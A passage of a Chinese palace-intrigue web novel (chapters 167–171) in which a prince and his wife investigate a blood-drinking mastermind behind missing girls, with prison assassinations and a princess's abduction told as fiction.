他抬手擦泪,“陛下,若京城男子都有他这种心思,那京城女子谁还敢出门?”
他以前对女儿管得紧,出门都有侍卫跟随,只有这次秋猎,因为有御林军,他们不能带府兵跟随,就被钻了空子!
从姜黎婳起身之后就拉着姜黎婳站在一边的楚御礼目光扫过营帐中的众臣,目光在站在人群后面的定国公萧剑仁和萧景宴身上停顿了片刻,他松开姜黎婳的手,站出来,“父皇。”
皇帝蹙眉,“御儿有话要说?”
楚御礼拱手应是,“父皇,不知您是否还记得您之前为何让儿臣去刑部任职吗?”
皇帝搭在龙椅扶手上的手指微微弯曲,他眯眼看向楚御礼,“你说这个案件和失踪少女案有关?”
楚御礼的余光一直瞄着萧剑仁和萧景宴父子,就父子二人的身形随着皇帝的话微微一怔,他眉梢微微一挑,他颔首应是,“这苏子恒的作案手法和少女失踪案那些死者的死法几乎相同,她们几乎每个人都是被放干血液而亡,而今日这苏子恒也是意图放干沈小姐的血。”
“我没有!那件事情和我无关,我就只是想喝了她的血,吃了她的肉!”苏子恒慌了,他若因为爱而不得而想要杀了沈归雁,那他还有活命的机会,若是成了**犯,即便他想活都活不成了!
他们一定不会救他的!
想到这里,苏子恒几乎下意识的往萧景宴看过去。
楚御礼瞧着他的动作,眉梢一挑,“你看萧世子做什么?难道你还想往萧世子身上泼脏水不成?”
萧景宴立刻立刻露出疾恶如仇的神情,抬步走过去朝着苏子恒就踹了两脚,“死变态看什么?你还想攀咬本世子不成?”
“妹夫!世子!您看在曾经和我妹妹有一段夫妻情的份上,您帮帮我,我真的只是太喜欢沈小姐了,我...”
萧景宴听苏子恒自己说话把看他的那一眼圆了过去,心头舒了口气,他收回脚,冷声道:“苏清欢早就被我休了,你现在竟然还敢在本世子面前提那个**?你们兄妹两人不愧是同根生的杂种,做的事情都是如此不要脸!”
“像你们这种卑劣的人,就算是**都该下十八层地狱!”萧景宴说着朝地上吐了口唾沫,“苏清欢善妒,你也不是好人,她那种毒妇还敢来刺杀御王妃!现在她是**,没死的话,我还想亲自解决了她
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!”
“现在你还想让我看在她的面子上帮你?我巴不得亲手解决了你们!当初和苏清欢成亲,就是我人生的一大污点!你还敢提!”
“萧世子,你话有点多了。”楚御礼面色淡淡的看着萧景宴,“现在还不知道苏清欢和苏子恒是不是同谋,更不知道这猎场中是否还有他们的同党,你就把这些都告诉了苏子恒,是不想让他说出真相了吗?”
萧景宴闻言立刻露出懊恼的神情,他走到营帐中央朝着皇帝跪了下去,“是小人愚蠢,不知其中厉害,请皇上恕罪!”
楚御礼眉梢微微一挑,看来纨绔这个身份,的确能帮他遮掩很多事情。
刚刚他说这么多,只需要自认愚蠢就可以撇清自己的怀疑。
姜黎婳藏在袖中的手也逐渐握紧,若不是她早知道萧景宴是什么样的人,又在昨日近距离的看到了他那双毒蛇一样的眼睛,她都要被萧景宴这纨绔的模样骗过去了。
也许是他纨绔的形象太深入人心了,皇帝也没有斥责他,只道:“萧世子你还是要担起重任了,你父亲如今年纪也越发大了,你要懂事些,让你父亲少操心才是啊。”
萧景宴抬头朝着皇帝一笑,“陛下,我爹他老当益壮,我就适合吃喝玩乐,若我爹把产业交给我,定国公府的家底迟早要被我败光。”
“你这不孝子,在陛下面前还敢胡言乱语,老子今天踹死你...”
“好了。”皇帝蹙眉,“御儿,既然此事你觉得存疑,那就把人带回刑部,由你审问,朕倒是要看看,这苏子恒究竟背后有高人指点,还是那少女失踪案的真凶另有其人。”
楚御礼拱手应声,“儿臣遵旨。”
皇帝站起身来,冷声道:“好了,摆驾回宫吧!”
秋猎两日连连出事,这秋猎是不能继续下去了。
众人应声,等众人都散去之后,沈遇知才带着儿子朝姜黎婳跪了下去,“多谢...”
姜黎婳连忙扶着沈遇知,低声道:“师兄,你快起来!这件事情牵连甚广,现在不宜细说,等回京之后,我们在师父府上细说。”
第167章 我想跟小师姑回家
姜黎婳与沈遇知等人回到营帐就听说了沈归雁发起高热的事情,姜黎婳屏退营帐中伺候的人,去给沈归雁诊脉,沈遇知父子三人站在一旁焦急地看着,沈归离忍不住问,“小师姑,妹妹她没事吧?”
“身体无碍,发热应该是受了惊引起的。”姜黎婳把沈归雁的手放回去后站起来,“回去之后先不要问她被掳走的细节,等她意识清醒一些再问,还有记住让人时刻守着她,别让她自己一个人待着。”
沈遇知沉着脸点头,他看了一眼脸色苍白的女儿,背在身后的手逐渐收拢,“今日之事是不是另有隐情?”
姜黎婳抬眸与沈遇知对视,沈遇知瞧着明明比自己女儿大不了多少的师妹,总感觉她比普通的女孩子沉稳,根本不像是十七八岁的女子,而是经历了很多事情的老人一样。
她好像有着她这个年纪不该有的沉稳的思想,想的事情有些多了。
“不能说?”沈遇知眉头微蹙。
姜黎婳微微摇头,“只是现在还不确定,我不想因为我的猜测,让师兄你们烦心,这件事情等王爷那边确定了之后,我会亲自和师兄说的,师兄你们先带归雁回去吧。”
沈遇知听姜黎婳这么说,也没有为难姜黎婳,让沈归离去抱沈归雁,沈归离躬身去扶着沈归雁的肩膀坐起来,在睡梦中的沈归雁一下子惊醒了,她尖叫着伸手去推沈归离,“你放开我!”
沈归离生怕沈归雁受惊,他连忙放开沈归雁,低声哄道:“妹妹,我是大哥!”
沈归雁根本没有心思去听沈归离的话,在被沈归离松开的那一瞬间,她抬眸就看到了姜黎婳,她几乎没有思考的就朝姜黎婳扑过去,“师姑!”
沈家众人瞧着她抱着姜黎婳不撒手,一时之间也有些手足无措,他们生怕硬要把沈归雁和姜黎婳拉开的话,会刺激到沈归雁。
姜黎婳知道沈归雁今天是受了刺激,现在情绪不稳定,她对沈家父子点了点头,然后抬手拍了拍沈归雁的后背,低声安抚道:“我们现在回营帐了,你安全了,别怕。”
“是啊,雁儿,我是爹爹啊。”沈遇知眼眶红红。
沈归离也满眼心疼,和沈归昱兄弟两人低声喊了沈归雁一声,“我们是哥哥啊,跟我们回家,我们会保护你的,好不好?”
沈归雁抱着姜黎婳的手紧了紧,她回眸看了家人一眼,然后把姜黎婳抱得更紧了,她窝在姜黎婳的怀里摇头,“小师姑,我能和你回家吗?我想和你在一起...我害怕...”
姜黎婳:“......”
这...倒也不是不行。
沈遇知蹙眉,“归雁,不要胡闹,一个女子怎么能住到王府去?”
“小师姑,雁儿害怕...”沈归雁两眼红红,抬眸望着姜黎婳,那模样像极了路边流浪的小狗,想跟着救了她的人回家的模样。
姜黎婳心头一软,看向沈遇知父子三人,“归雁现在这个情况应该是应激反应,等过了这段时间应该就会恢复正常,不如就让她跟我回王府,她情况好些了,我就把她送回太傅府,如何?”
沈遇知深深地看了一眼明显对姜黎婳非常依赖的女儿,犹豫了片刻他对姜黎婳道:“如此就麻烦师妹了。”
姜黎婳对沈遇知笑了笑,“无碍。”
沈家父子走了,沈归雁依旧不想松开姜黎婳,生怕自己松开姜黎婳,她爹他们就会过来把她带走,姜黎婳有些无奈地拍了拍她紧抱着自己腰肢的手,轻声道:“我一向说话算话,先把我松开。”
一个时辰后。
安排好苏子恒的押送也指挥了队伍拔营起程回京工作的楚御礼瞧着紧紧地拽着自家娘子不放手的沈归雁,他眼睛一眯,走过来站在姜黎婳身旁,“这是怎么回事?”
他眯眼审视着沈归雁,这人不会是因为被自家娘子救了之后,就赖上自家娘子了吧?
姜黎婳瞧着对沈归雁敌意满满的楚御礼,心头有些无奈,但她还是解释了一下沈归雁的情况。
楚御礼在听了之后,看沈归雁的眼神瞬间从审视变得冰冷,他蹙眉道:“意思是说,她不止是要跟着我们回府,还得和你住在一块儿?”
姜黎婳有些无奈的抬眸看着楚御礼,“阿礼,别计较了,等她好了我们就把她送回去,这只是暂时的。”
原本有些生气的楚
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御礼听到姜黎婳这声阿礼,他心头的怨气瞬间消散了不少,不过瞧着自己和姜黎婳说话,还依旧没眼力劲儿地拽着姜黎婳衣角的沈归雁,他又皱起了眉头,他有些不满的问姜黎婳,“那她与你同吃同住,为夫住哪儿?”
姜黎婳:“......”
这个她真没想过。
京城外一处山脚大宅院中。
穿着轻纱的女人在听到随从的禀报之后直接把手边的茶水掀翻在了地上,她抬眸看着跪在地上的随从,冷嗤,“蠢货!我花了这么多银子培养了一群酒囊饭袋吗?十几个人连一个**十几年的人都弄不死!还全都折在了人家手里?”
随从跪在地上只感觉额头上的汗水不停地往外冒,他跪在地上磕头,“主子恕罪,奴才这就让人去准备,趁着他们回京之前,我们再一举要了他的命!”
“他们落单的时候你们都没有那个能耐,现在他们回京,有皇帝的锦衣卫和御林军护送,你们还想得逞?”貌美的女人站起身来,走到跪在地上的仆从面前,她抬起穿着绣花鞋的脚踩在随从的肩膀上,眼神冰冷,“告诉萧景宴,这次的事情若是处理不好,我拿他是问。”
随从跪在地上承受着女人的**,直到女人的脚挪开了,他才磕头应是,“奴才遵命。”
“还有我的美容液。”女人看了一眼旁边装着血液的器皿,眉头微蹙,她那比雪还白的脸上闪过一丝不悦,那比血还红的嘴唇微微抿了抿,“这次的血不好喝,你们下次若再找不到甜甜的血,就别怪我这个当主人的心狠手辣了。”
“奴才这就让人又去找!一定找到主人您满意的血。”随从立刻道。
女人这才满意了,她勾起嘴角,“去吧。”
“主子,那苏子恒,您是想要...”随从抬起头对着女人做了一个抹脖子的手势。
女人眉头微蹙,幽深的眼眸里闪过一丝不悦,“这种事情还要我说吗?”
“可那苏子恒毕竟....”
“怎么?我玩了他一次,你们就认为他变特别了?”女人漆黑的眼底没有一丝情感,“这世上可没有谁在我这儿是特别的。”
第168章 世间所有人都是她的奴隶
随从听着女人这话心跳都停止了片刻,他砰砰在地上磕头,“奴才不是那个意思,奴才知道这世间一切都是主子您的玩物和奴才!”
“滚。”女人转身端起器皿中的血液一饮而尽,她抬手擦了擦嘴角的血迹,撇嘴,“好久没有喝到那种香甜的血液了,是不是因为这些人年龄都太大了?”
她有些忧愁的在临窗的长榻上坐下,窗边遮阳的轻纱此时被轻轻吹动,衬得她如坠入凡尘的仙子。
她一只手轻轻地放在窗户上面撑着下颚,看着院中即便到了秋日依旧妖冶无比的芍药花,她低声呢喃,“你这孩子,当初饶了你一命,如今你竟然要来挡我的路了,看来我实在是不应该心软。”
深夜。
刚回到国公府的萧景宴还没有回到自己的院子就被一个黑影拦住了去路,萧景宴看清楚来人,他脸色一沉,他往四周看了一眼,沉声道:“你来做什么?”
“主人让你处理好今日的事情。”黑衣人面无表情的看着萧景宴,沉声道:“还有主人觉得最近的美容液都不好喝,要求你重新找更年轻的。”
萧景宴眉头紧促,“你们不能去找?我现在走不开!”
今天楚御礼那个短命鬼看他的眼神就特别不对劲,他现在还没有确定楚御礼是不是怀疑上了他,怎么敢轻举妄动!
“主子说最近她对你太失望了,苏家兄妹就是你举荐的,他们两个却都是成事不足败事有余的,你若再办不好的话,她就要惩罚你了。”黑衣人说完直接转身消失在了黑夜中。
萧景宴在黑夜中站了好一会儿才朝自己的书房走去,在书房中坐了一会儿,他喊来萧达,“去找十三岁以下的女子,去城外找,暂时不要在京中生事。”
萧达听到寻找的少女年龄又变小了,他脸色变了变,低声道:“世子,这如今正是...”
“让你去你就去!”萧景宴冷眼扫过去,“那位若是疯起来,我们都招架不住!”
萧达感觉到萧景宴身周的空气都变得凌冽他不敢再多说,连忙应是,萧景宴这才缓和了一些自己的情绪,“让人今夜潜入刑部,把苏子恒解决了,告诉我们在刑部的人,趁着场景混乱,把楚御礼也一起解决了。”
萧达闻言一怔,不过片刻的怔愣,他就立刻应是,转身大步离开。
寅时,刑部大牢。
苏子恒被挂在十字架上,下面全是刑具,他人也晕厥了过去,审问他的人像是把他忘记了一样让他就那样被绑在十字架上,人牢房中没有一个人。
审讯室的烛火被秋风吹得忽明忽暗,让本就阴森森的牢房更加的诡谲。
一群黑衣**潜入牢房中直接杀死两个看守的狱卒,然后朝着牢房深处疾步而去。
**很快找到了苏子恒的所在,其中一人飞快地朝苏子恒跑了过去,他手起刀落的一瞬间,一支箭射穿了他的手腕,**落地的瞬间,惊醒了昏睡过去的苏子恒。
他睁开眼睛,眼前已经一片慌乱了,两拨人马正在混战,刀剑相拼,火光四溢。
楚御礼站在牢房门口看着里面的场景,面容平静,对面全是专业训练的**,但他们这边除了刑部的官差,其他的全都是他的暗卫,他们几个人身手更是个个顶尖!
双方的厮杀越来越激烈,躺下的官差也越来越多,不过对方也没有几个活口。
楚御礼看着双方的厮杀,眼底没有一丝温度,“不用留活口。”
站在楚御礼身边的刑部郎中看到这一幕,眼底闪过一丝骇然,接着他慢慢地拔出自己藏在袖中的**,朝着楚御礼的后心刺去...
噗呲...
**穿透衣服插入肉体的声音骤然响起。
年轻的刑部郎中垂眸看着插入自己胸口的**,不解地看向后背像是长了眼睛一样的楚御礼,他现在都没有反应过来,楚御礼到底是怎么在这么快的时间内转身握住自己的手把这**插入自己胸膛的?
楚御礼看着自己被对方的血染红的手,他眼底闪过一丝嫌弃,抬手在对方身上把自己手上的血迹擦干净,“本王还在想你什么时候动手,这人都还没有杀死,本王身边也没有乱起来,你就没耐心了?”
年轻郎中不解地抬头看着楚御礼,“你是什么时候发现的?”
“本王看见刺客过来之所以这么平静是因为本王猜到了。”
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他嘴角勾起一抹浅浅的弧度,“但是你一个郎中,明明对京城外发生的事情都还不怎么了解,却在面对刺客的时候比本王还平静,这很反常。”
年轻郎中,“......”
他性格就是这样啊!
就像现在,你杀了我,我也没有撕心裂肺的问你什么时候发现的啊!
他轻笑了一声,“御王殿下果然聪明,不过,你赢不了的。”
楚御礼轻笑,“本王能不能赢,你说了不算,你也看不到。”
他说罢捏住年轻郎中的手握紧**转了一个圈,原本情绪还算稳定的年轻郎中脸色立刻变得扭曲起来,他扑地吐出一口血,双目赤红的看着楚御礼,“你们一样心狠手辣,不过那个人没有弱点,但是你不同,你有弱点!你有弱点,你就赢不了!”
年轻郎中说完突出一口鲜血,笑着咽了气。
楚御礼嫌弃的看着自己满手的鲜血,冷笑了一声,弱点?
这么说,那个人会用婳儿来威胁自己?
这样的话,那他更要早些把那个人揪出来了。
对方既然能在刑部安插人手,那其他地方呢?
这时候没有出现在厮杀中的冽风快步从外面走了进来,他恭敬地拿出一张手帕递给楚御礼,楚御礼接过来擦手,“有消息了?”
“萧景宴身边的人出了京,我们的人追出了京城,在经过一处密林的时候,跟丢了。”冽风弓着身子,“但这次这些**是从酔颜坊出来的。”
“端了酔颜坊。”楚御礼话音落下,沉鹤等人从里面走了出来,他脸上带着厮杀之后快意的笑容,“主子,全部诛灭,没有留一个活口!”
楚御礼抬步朝审讯室走去,苏子恒已经被吓疯了,看到楚御礼走进来,他就发疯般朝楚御礼求饶,“王爷,我全都招了,您放过我吧!”
“你不是对沈小姐因爱生恨,想吃了她的肉喝了她的血吗?现在改口了?”
“不是。”苏子恒拼命摇头,“想喝了她血的人,是我们的主人!”
“你们的主人?”楚御礼往前走了一步,“他的仆从很多?”
“对,她说世间所有人都是她的奴隶!”
第169章 德妃**
刑部审讯室中,苏子恒被锁链绑在刑椅上,他脸色惨白,眼底充满了骇然,他从未想过这个外界传言的病秧子王爷竟然这么厉害,而那个之前还说他有趣,喜欢他的女人竟然在事情暴露之后这么快就派人来杀他了!
楚御礼坐在他对面的椅子上,手搭在扶手上轻轻地用手指敲打着扶手,苏子恒垂着眼皮正好可以看到他的动作,他每敲一下都像是敲在苏子恒的心头上一样,令苏子恒紧张不已。
楚御礼一直在观察着苏子恒的神情,也在思索方才苏子恒说的那些话的真实性,一个人竟然觉得他自己凌驾于世人之上,这世间所有人都是他的奴隶?
那这萧景宴应该就不是苏子恒背后那个真正的黑手,萧景宴还不至于疯到那个程度。
“苏子恒,本王问你。”楚御礼手上动作一停,目光冷冷地盯着被绑在刑椅上没了双腿的苏子恒,声音如冰,“那个人是不是京城少女失踪案的幕后真凶?你**沈小姐是不是也是受他指使?”
苏子恒点了点头,苍白干裂的嘴角也动了动,但是想到先前的**还有自己曾在那个大院子里面看到那个女人把那些她不喜欢的血直接倒来浇花的模样,他又忍不住咽了咽口水。
“是!”苏子恒猛地抬头看向楚御礼,他双目猩红,“就是她!她嫌弃最近的血液都是一些低贱的贱民的血,一点都不好喝,而我为了得到沈归雁,就自告奋勇说可以为她弄到沈归雁的血孝敬她,她很满意,就安排我进了这次狩猎的队伍中。”
楚御礼眼睛一眯,“他安排你?他是谁?”
苏子恒的手紧张地捏了捏,“我不知道她的名字,旁人都叫她主人,只有那个人叫她...”
噗...
箭矢破空而入直接穿透了苏子恒的咽喉,他瞪大双眼看着楚御礼从椅子上站起来,她朝着楚御礼张了张嘴,最终咽下了最后一口气。
楚御礼垂眸看了一眼自己衣襟上的血迹,又看向已经垂下头的苏子恒,他双手狠狠地捏了起来。
“主子!”
昭临冲进来,见楚御礼面无表情地看着苏子恒的尸身,他连忙道:“刺客是潜入牢狱的死士,用的**,沉鹤去追了。”
楚御礼看了一眼穿破苏子恒的喉咙落在地上的箭矢,昭临连忙跑过去捡起来递给他,楚御礼看了一眼,沉声道:“**乃军中重要的武器,除了朝廷几乎无人能制,查!”
昭临应了一声快步退了出去。
楚御礼回眸深深地看了一眼死不瞑目的苏子恒,藏在袖子中的手紧紧地捏了起来,把所有人当自己的奴隶,能够把苏子恒和苏清欢安排进狩猎的队伍,还会西域的易容术,就连刑部中都有他的人,自己手中的死士,竟然还手握**,这个人的势力还真比他想象的还要大呢。
楚御礼刚走出牢房,新上任的刑部尚书李重楼就急急匆匆地走了过来,看到楚御礼脸色不好,年过半百的李重楼连忙朝楚御礼躬身,“殿下!”
楚御礼瞧着姗姗来迟的李重楼,冷声道:“凶犯在刑部牢狱中**,刑部郎中行刺本王不成,已经被本王诛杀,这刑部还有没有内贼,还需要李大人好好地清查一番啊。”
李重楼听着楚御礼的话,心头咚咚咚跳个不停,他抬手擦了一下额头上的汗水,沉声应是,“臣一定给王爷一个交代。”
“不是给本王一个交代,是给天下一个交代!”楚御礼深深地看着李重楼,“苏子恒已经招认了,说那个人就是京城少女失踪案真正的幕后凶手,他刚要说出那个人的名字时就****,本王会给父皇上奏,要求重启京城少女失踪案的事情,李大人到时候可别让本王失望。”
楚御礼说罢大步离开。
李重楼瞧着楚御礼离开的背影,他慢慢的直起身来呼了口气,跟在他身边的随从见状忍不住帮李重楼抱怨,“神气什么,按理说大人您才是刑部的一把手,御王不过是一个侍郎,凭什么对您颐指气使的?”
“混账!”李重楼回头狠狠地瞪了随从一眼厉声道:“你以为御王为什么不是尚书?是他当不了吗?什么都不知道的蠢货!”
他说罢转身朝大牢里面走,“来人!”
楚御礼离开刑部,
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刚上马,沉鹤就落在了他身边,“主子,属下没有追到那贼子。”他说罢往前走了一步,压低声音道:“但是属下追至东华门才追丢了的,属下怀疑那人进宫了。”
楚御礼瞳孔骤缩,他垂眸看着沉鹤,语气危险,“你确定他进了皇宫?”
“千真万确。”沉鹤沉着脸颔首,“若不是属下害怕事后主子您被皇上追问,属下定然追进皇宫把他给揪出来。”
他这些年在父皇眼中一直都是一个连自保能力都没有的病秧子皇子,若这时候他手底下的暗卫却能够在皇宫来无影去无踪了,他那向来疼爱他的父皇,怕是会怀疑他有二心了。
楚御礼点了点头看向皇宫的方向,“去皇宫。”
皇宫。
“来人啊,护驾!”
“快传太医!德妃娘娘**了!”
宫女慌乱的声音从德妃的祥福宫中传了出来,接着宫女太监跌跌撞撞的打开了祥福宫的宫门,皇宫也乱了。
楚御礼拿着皇帝给他的令牌入宫的时候正好听到了德妃宫中的人去皇帝的承乾宫通禀德妃**的事情。
皇帝在宫女的伺候下穿戴好正要去德妃的宫中就看到了站在自己宫外的楚御礼,皇帝眉头一皱,冷声道:“御儿这时候怎么入宫了?这时候可还未到卯时。”
楚御礼朝皇帝拱手行礼,拿出皇帝的令牌,“儿臣在刑部审讯苏子恒时,忽然遭**杀,内贼刑部郎中已经伏诛,但有刺客用**射**苏子恒,苏子恒在死前交代他背后之人与京城少女失踪案有关,他的主人掳走那些少女并不是为了贩卖而是为了喝那些少女的血。”
皇帝眼睛一眯,正要说话,楚御礼又道:“儿臣的侍卫追着那杀死苏子恒的刺客到了宫门外那刺客就消失不见了,情势紧急,儿臣只能用父皇曾给儿臣的令牌入宫了。”
皇帝看着楚御礼手中的令牌,这令牌是曾经他亲自给楚御礼的,为的就是楚御礼若有个三长两短好及时入宫请太医。
他伸手拍了拍楚御礼的肩膀,沉声道:“今夜宫中的确有刺客,德妃**,朕正要去她宫中。”
第170章 六公主失踪
楚御礼跟着皇帝到德妃的祥福宫时皇后已经到了,看得出皇后起来的焦急,只穿了得体的衣裳,头上连发饰都没有佩戴一样。
皇后看到楚御礼也来了,她眼底闪过一丝诧异,“御儿怎么入宫了?”
楚御礼从皇帝身后走出来给皇后行礼,他不动声色地看了一眼纱帘里面的情况,然后对皇后道,“父皇命儿臣查苏子恒**沈小姐一案,儿臣正在审问犯人苏子恒时,遭遇了刺杀,而后儿臣的侍卫追着刺客到了宫门外,那刺客就消失不见了,所以儿臣才拿着父皇以前给儿臣的令牌入了宫。”
他说罢看了一眼宫女来往的宫殿,眉梢微挑,“没想到刚入宫就听说了德妃娘娘**。”
皇后听了来龙去脉也顾不得刺客是谁了,她焦急地上前,看到楚御礼身上的血迹,她连忙问,“可有受伤?”
楚御礼轻笑着摇头,“儿臣没有受伤。”说罢落寞的垂眸,叹气,“只是儿臣只问出了京城少女失踪案的背后凶手就是他的主人,他还未说出那人的身份就被刺杀了。”
“凶手慢慢抓就是。”皇后确认了楚御礼的确没受伤,这才对皇帝道:“幸亏宫中的宫女发现得早,德妃只伤到了手臂,其他并无大碍。”
皇帝嗯了一声,也没有想要进去看德妃,而是在殿中的高位上坐下,问,“可有抓着刺客?”
“御林军已经去每个宫中搜索了。”
皇帝点头,正要说话,四皇子楚浩泽就匆匆从外面走了进来,看到皇帝等人在,他停下脚步给皇帝等人行礼,“儿臣参见父皇、母后,见过大皇兄。”
楚御礼颔首,他目光审视着姗姗来迟的楚浩泽,眉头微蹙,“德妃**,你的宫殿是离着德妃最近的,母后和父皇都过来了,你却最后一个到,宫人叫不醒你?”
楚浩泽闻言赶紧朝着皇帝跪了下去,“父皇,儿臣从猎场回来之后一直睡不着,就不准宫人们进殿内打扰,宫人们不是故意不告诉儿臣的!”
皇帝听楚浩泽这么说,脸色更沉了,“你虽然才十三岁!但是也该明事理了!如今你连自己宫中的宫人都管不了,以后要如何管得住一府之人?怎么当家做主?”
楚浩泽脸上一慌,连忙磕头道:“都是儿臣不懂事,平日纵容了身边的奴才,儿臣回去以后一定会好好罚那些奴才的!”
“的确该好好地罚。”楚御礼慢条斯理地走到一旁的椅子上坐下,看着楚浩泽,“毫无主见的奴才,皇子亲生母亲**,事关生死的大事,他们竟然这么沉得住气不告诉你,简直该死。”
“皇上...是泽儿来了吗?”德妃有些虚弱的声音从纱帘内响起。
楚御礼看着楚浩泽,皇帝情绪不明地等了楚浩泽一眼,楚浩泽跪在地上不敢动,也不敢答应德妃的话。
片刻之后皇帝道:“还不去看看你母妃如何了。”
楚浩泽这才连忙站起来走进了帘子内。
“母妃您没事儿吧?”楚浩泽在德妃身边坐下,内疚的说道:“都怪儿臣任性,因为给宫人下了不准打扰儿臣的禁令,竟然没能第一时间来看母妃,若母妃您有个三长两短,儿臣真不知道该怎么办才好了。”
德妃怜爱地拉着楚浩泽的手,轻声道:“你这孩子,母妃这不是没事儿吗?”
楚浩泽垂眸,“可儿臣害怕母妃您有事。”
外面的皇帝听到楚浩泽这些话,有些冷凝的眼神稍微缓和了一些,他起身走进内殿,对德妃道:“御林军已经挨宫排查去了,你也无须担心,既然伤势不严重就好好修养,快到卯时了,朕也得去早朝了。”
德妃想起身谢恩,皇帝抬手止了她的动作,“你有伤就好生修养,不必多礼了。”
皇后也交代了让德妃好生休养,免了德妃七日的晨起请安,这才和皇帝与楚御礼一同离开了。
走出祥福宫,皇后的眉头皱了起来,沉声道:“这刺客怎么会忽然入宫,还刺杀了德妃?”
皇帝负手走在前面并未说话。
楚御礼看着皇帝背在身后的手,眼睛微眯,“祥福宫离着御花园最近,御花园旁边就有角楼,角楼下去就离宫了,离宫之后翻过一座山出去就是西城门了。”
楚御礼见皇帝身形微顿,沉声道:“但是,德妃已经就寝了,这刺客为何还要特意去刺杀德妃一下,引起慌乱?”
皇帝回眸看向楚御礼,眉头微蹙,“你先前说那刺
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客手中有**?”
楚御礼颔首,“是,儿臣已经让人去兵部查最近三个月军器监所制的**的所有走向了。”
皇帝颔首,“这件事情朕就交给你了,你一定要揪出那个幕后真凶!”
皇后闻言赶紧上前拦在楚御礼面前,对皇帝道,“陛下,如今事情已经越来越复杂了,而且御儿才开始调查这件事情就遇到了刺杀,若御儿有个三长两短的,臣妾还怎么活?”
皇帝脸色一沉,语气也冷了几分,“难道你想御儿一直都是一个无所事事的闲王?”
皇后一噎,她想要儿子有出息,但是不想要儿子出事。
皇帝看出了皇后的想法,当即气急,“如今御儿身子刚刚大好,正是做出实绩给大臣们看的时候,你就是妇人之仁!”
皇后低声道:“臣妾是怕了,御儿如今好不容易身子好了,臣妾就想他平平安安的到老。”
“荒谬!”皇帝大袖一甩,“他若没能力,如何能平安到老?”
“母后。”皇后还要说话,却被楚御礼拉了一下,“儿臣想做父皇的左膀右臂,也想为朝廷尽一份心,而且京城少女失踪案牵连甚广,这次儿臣若真的能够揪出母后凶手的话,应该可以为朝廷揪出一个大蛀虫。”
皇后还要说话,忽然有宫女尖叫着大喊,“不好了!六公主不见了!六公主不见了!”
皇后心头一惊,也顾不得皇帝了,转身大步朝着楚明月的宫殿而去。
皇帝和楚御礼父子二人对视了一眼,也快步跟着皇后朝楚明月的宫殿而去。
昭月殿中。
楚明月的生母丽嫔已经疯了,她拉扯着给楚明月守夜的宫女,嘶声质问,“不是你守着月儿的吗?为什么你睡**,月儿却不见了!你告诉本宫,月儿哪儿去了!”
“怎么回事?”皇后大步走进来,看到拉着宫女发疯质问的丽嫔,她眉头紧蹙,“丽嫔!你告诉本宫。”
丽嫔瞧着皇后过来,像是找到了主心骨一样,她普通朝皇后跪下去,“皇后娘娘,臣妾听说德妃娘娘**,心头发慌睡不着,就想过来瞧瞧月儿,谁知进了殿中,发现月儿根本不在,而这个宫女,却睡得跟死猪一样!”
第171章 找到幕后之人窝点
宫女跪在地上一个劲儿的磕头求饶,“皇后娘娘,奴婢真的不是偷懒,奴婢一直在脚踏上守着六公主的,但是奴婢不知道为何就昏睡了过去。”
丽嫔听到宫女还敢狡辩,挣扎着又要去打宫女。
皇后见状冷着脸呵斥住丽嫔,“德妃**,明月又忽然失踪,想来应该和那个刺客有关,那个刺客武功高强连皇宫都敢闯,避开一个小宫女掳走公主也不是不可能!”
正好这时候皇帝的楚御礼父子二人走了进来,皇帝沉着脸还没说话,皇后就上前把昭月殿的事情给说了,皇帝气得狠狠地甩了一下袖子,厉声对楚御礼道:“朕任命你为此次少女失踪案的主审官,御林军和锦衣卫协助你查案,务必要把你皇妹找到,把少女失踪案的幕后真凶绳之于法!”
楚御礼沉着脸应是,转身大步离开。
卯时的更鼓响起。
一整夜没真没睡好的姜黎婳在吵嚷声中醒了过来,知夏举着烛台走到床前,脸色沉重,“王妃,王爷先前回来换了一身衣裳就出门了,听说昨夜刺客闯入刑部刺杀了**苏子恒,还闯入皇宫伤了德妃,掳走了六公主。”
姜黎婳猛地坐起来,硬要和她睡一起的沈归雁被她的动作吵醒,她揉着头有些迷糊的看向姜黎婳,“小师姑,怎么了?”
沈归雁本就是少女失踪案的受害者,只是因为遇到的人是初次作案的苏子恒所以才能侥幸活下来,现在若告诉她公主都失踪了,她怕是更要提心吊胆了。
姜黎婳拍了拍沈归雁的手,低声道:“王爷那边出了一点事情,我得去瞧瞧王爷,你不用担心,时辰还早你再休息会儿。”
姜黎婳翻身下床,她眉头紧皱,神色严肃,那个人竟然这么张狂了?敢入宫掳走公主了?
姜黎婳捏了捏手心,等知夏伺候自己穿戴好后她大步离开梨月居,知夏连忙跟了上去,“王妃,如今京城不安稳,您还是别出府了。”
如果那些人的目的只是取血的话,她不会有事,因为看过原文的她知道,那个喝人血的怪物,她不喝妇女的血,而他如今之所以敢掳走楚明月,应该是之前的那些血液已经满足不了他的口味了!
“知道王爷去哪儿了吗?”
这时候青砚不知道从哪儿钻了出来,他躬身对姜黎婳行礼,“王爷说若是王妃醒来想去找他,让属下带您过去。”
姜黎婳颔首,对知夏道:“现在你不用担心我的安危了,回去照顾好归雁,让府上的人管好自己的嘴,不要让归雁知道六公主失踪的事情,免得她害怕。”
知夏瞧自家王妃心意已决,便也不再多劝,只福身应是,“奴婢知道了。”
姜黎婳拍了拍知夏的肩膀,转身大步往府外走,“备马。”
姜黎婳在西城门外见到了楚御礼,一夜没睡的他冒出一节胡茬儿,因为长时间没闭眼,他的眼睛微红,人看上去也稍显疲惫。
看到姜黎婳过来,他给昭临交代了两句,朝她走过去,姜黎婳瞧着他疲惫的模样,只觉得喉咙胀胀的,想说话却又说不出来。
楚御礼瞧她看着自己不说话,他叹了口气,拉着姜黎婳走到城门脚下,“有什么要和我说的?”
“楚御礼,你信我吗?”姜黎婳忽然抬头看着楚御礼,神情紧张,眼神急切。
楚御礼一顿,接着抬手揉了揉她的头发,“你是我的妻子,我不信你,信谁?”
他记得她第一次问他信不信他是在新婚夜,当时她语出惊人,说他不是胎弱带病,而是被人下毒。
那今天,她又会说出什么惊人的话?
姜黎婳抿了抿嘴,她的指甲紧紧地掐着自己的手心,眼神犹豫,好一会儿了,她才道:“我不知道该怎么给你解释,但是我猜测,那个幕后之人的窝点应该是在南城外红山脚下的一处宅子中。”
楚御礼眉头紧紧地皱起来,他看着姜黎婳,语气不明,“婳儿,你是如何知道的?”
姜黎婳一叹,这就是她之前不主动说萧景宴有问题,也不主动说少女失踪案真正的幕后真凶另有其人的原因。
很难解释。
她捏了捏楚御礼的手,低声道:“王爷,等找到六公主,我再给你解释,好不好?”
